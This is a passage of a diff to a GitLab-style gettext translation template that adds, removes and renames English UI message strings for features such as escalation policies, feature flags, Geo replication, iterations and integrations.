+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12055,9 +11863,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12091,9 +11896,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12154,6 +11956,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12283,6 +12088,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12292,13 +12100,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12379,13 +12190,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12403,6 +12211,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12418,9 +12229,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12430,9 +12238,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12562,6 +12367,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12727,9 +12535,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13210,7 +13015,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13219,30 +13024,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13252,6 +13081,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13288,9 +13126,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13435,7 +13270,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13456,9 +13291,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13555,9 +13387,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13576,9 +13405,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13864,9 +13690,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13897,9 +13720,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13948,9 +13768,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13981,9 +13798,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13999,9 +13813,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14041,24 +13852,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14068,9 +13867,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14155,9 +13951,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14173,6 +13966,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14239,9 +14035,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14410,6 +14203,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14431,10 +14227,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14638,159 +14431,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14881,6 +14536,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14980,9 +14638,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15055,6 +14710,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15064,6 +14725,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15094,9 +14758,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15118,6 +14779,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15658,9 +15328,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15706,6 +15373,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15727,9 +15403,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15760,6 +15433,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15829,13 +15505,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15871,9 +15544,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16186,18 +15856,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16222,6 +15889,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16261,13 +15931,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16450,6 +16120,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16567,6 +16240,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16651,9 +16327,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16801,6 +16474,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16981,9 +16657,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17488,13 +17161,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17584,9 +17260,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17740,6 +17413,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17752,6 +17437,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17791,6 +17479,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17806,9 +17497,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17821,12 +17509,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17848,6 +17530,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17890,9 +17575,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17932,12 +17614,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17962,9 +17656,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18115,6 +17806,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18190,25 +17884,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18217,13 +17893,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18244,7 +17917,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18253,9 +17926,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18280,6 +17950,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18691,18 +18364,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18712,6 +18403,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18724,6 +18418,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18742,9 +18442,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18844,9 +18550,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18895,6 +18607,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18985,9 +18700,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19015,18 +18727,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19138,9 +18838,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19300,9 +18997,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19534,9 +19228,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19744,6 +19435,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19972,6 +19666,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20206,6 +19903,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20224,9 +19930,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20446,9 +20149,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
